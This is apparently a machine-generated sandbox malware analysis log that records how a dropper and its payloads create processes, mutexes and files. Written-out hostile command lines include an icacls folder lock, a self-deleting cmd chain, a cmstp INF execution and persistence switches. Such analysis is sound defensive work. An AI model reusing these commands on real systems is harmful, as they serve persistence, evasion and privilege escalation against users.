                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeMutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
                          Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:2232:64:WilError_03
                          Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4204
                          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4276:120:WilError_03
                          Source: C:\Windows\SysWOW64\cmstp.exeMutant created: \Sessions\1\BaseNamedObjects\Connection Manager Profile Installer Mutex
                          Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:4372:64:WilError_03
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\BDBB.tmpJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat""
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: --Admin11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: IsAutoStart11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: IsTask11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: --ForNetRes11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: IsAutoStart11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: IsTask11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: --Task11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: --AutoStart11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: --Service11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: X1P11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: --Admin11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: runas11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: x2Q11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: x*P11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: C:\Windows\11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: D:\Windows\11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: 7P11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: %username%11_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCommand line argument: F:\11_2_00419F90
                          Source: KMPrEVaSfH.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
                          Source: C:\Windows\explorer.exeFile read: C:\Users\user\Searches\desktop.iniJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
                          Source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
                          Source: KMPrEVaSfH.exeReversingLabs: Detection: 28%
                          Source: EE23.exeString found in binary or memory: set-addPolicy
                          Source: EE23.exeString found in binary or memory: id-cmc-addExtensions
                          Source: EE23.exeString found in binary or memory: set-addPolicy
                          Source: EE23.exeString found in binary or memory: id-cmc-addExtensions
                          Source: EE23.exeString found in binary or memory: set-addPolicy
                          Source: EE23.exeString found in binary or memory: id-cmc-addExtensions
                          Source: unknownProcess created: C:\Users\user\Desktop\KMPrEVaSfH.exe C:\Users\user\Desktop\KMPrEVaSfH.exe
                          Source: unknownProcess created: C:\Users\user\AppData\Roaming\ubrawdb C:\Users\user\AppData\Roaming\ubrawdb
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\BDBB.exe C:\Users\user\AppData\Local\Temp\BDBB.exe
                          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4204 -ip 4204
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 360
                          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe C:\Users\user\AppData\Local\Temp\EE23.exe
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe C:\Users\user\AppData\Local\Temp\EE23.exe
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                          Source: unknownProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" & del "C:\ProgramData\*.dll"" & exit
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\84F5.exe C:\Users\user\AppData\Local\Temp\84F5.exe
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\E5F3.exe C:\Users\user\AppData\Local\Temp\E5F3.exe
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4140 -ip 4140
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4140 -ip 4140
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1548
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1484
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\3EE1.exe C:\Users\user\AppData\Local\Temp\3EE1.exe
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\BA7B.exe C:\Users\user\AppData\Local\Temp\BA7B.exe
                          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat""
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout 3
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\BDBB.exe C:\Users\user\AppData\Local\Temp\BDBB.exeJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe C:\Users\user\AppData\Local\Temp\EE23.exeJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStartJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStartJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\84F5.exe C:\Users\user\AppData\Local\Temp\84F5.exeJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\E5F3.exe C:\Users\user\AppData\Local\Temp\E5F3.exeJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Temp\3EE1.exe C:\Users\user\AppData\Local\Temp\3EE1.exeJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" Jump to behavior
                          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\explorer.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4204 -ip 4204Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 360Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4140 -ip 4140Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4140 -ip 4140Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1548Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1484Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\SysWOW64\WerFault.exeProcess created: C:\Users\user\AppData\Local\Temp\E5F3.exe C:\Users\user\AppData\Local\Temp\E5F3.exeJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe C:\Users\user\AppData\Local\Temp\EE23.exeJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknown
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknown
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" & del "C:\ProgramData\*.dll"" & exit
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeProcess created: unknown unknown
                          Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
                          Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess created: unknown unknown
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat""
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout 3
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf
                          Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32Jump to behavior
                          Source: Window RecorderWindow detected: More than 3 window changes detected
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                          Source: Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: EE23.exe, EE23.exe, 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
                          Source: Binary string: C:\jenkins\FCT0\GIT_CLONE_PARENT\FortiClientHS\service\FCInstallerLight\full\Win32\Release\FortiClientInstaller.pdb source: 78E8.exe.2.dr
                          Source: Binary string: C:\cade-piyi\duvoj\yadogewuyanam\g.pdb source: E5F3.exe, 0000001E.00000000.2718805246.000000000048F000.00000002.00000001.01000000.0000000E.sdmp
                          Source: Binary string: ~.C:\riwevi96\wavunibox\haza.pdb source: build2.exe, 00000014.00000000.2490818334.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000014.00000002.2502502839.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000015.00000000.2501685710.000000000042F000.00000002.00000001.01000000.0000000B.sdmp
                          Source: Binary string: _.pdb source: E5F3.exe, 0000001E.00000003.2738899773.0000000004C4F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3080228144.00000000024DC000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3102300746.0000000004FD0000.00000004.08000000.00040000.00000000.sdmp
                          Source: Binary string: C:\riwevi96\wavunibox\haza.pdb source: build2.exe, 00000014.00000000.2490818334.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000014.00000002.2502502839.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000015.00000000.2501685710.000000000042F000.00000002.00000001.01000000.0000000B.sdmp
                          Source: Binary string: protobuf-net.pdbSHA256}Lq source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: EE23.exe, 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
                          Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: protobuf-net.pdb source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\Confiformsyalla\obj\Debug\Confiformsyalla.pdb source: BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, BA7B.exe, 00000025.00000000.2794298934.0000000000742000.00000002.00000001.01000000.00000012.sdmp

                          Data Obfuscation

                          barindex
                          Detected unpacking (changes PE section rights)
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeUnpacked PE file: 0.2.KMPrEVaSfH.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.vakeg:W;.tls:W;.fig:R;.fatixa:W;.rsrc:R; vs .text:EW;
                          Source: C:\Users\user\AppData\Roaming\ubrawdbUnpacked PE file: 4.2.ubrawdb.400000.0.unpack .text:ER;.rdata:R;.data:W;.vakeg:W;.tls:W;.fig:R;.fatixa:W;.rsrc:R; vs .text:EW;
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeUnpacked PE file: 5.2.BDBB.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.vakeg:W;.tls:W;.fig:R;.fatixa:W;.rsrc:R; vs .text:EW;
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeUnpacked PE file: 11.2.EE23.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cem:W;.tls:W;.yonisu:R;.falelu:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 17.2.EE23.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cem:W;.tls:W;.yonisu:R;.falelu:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
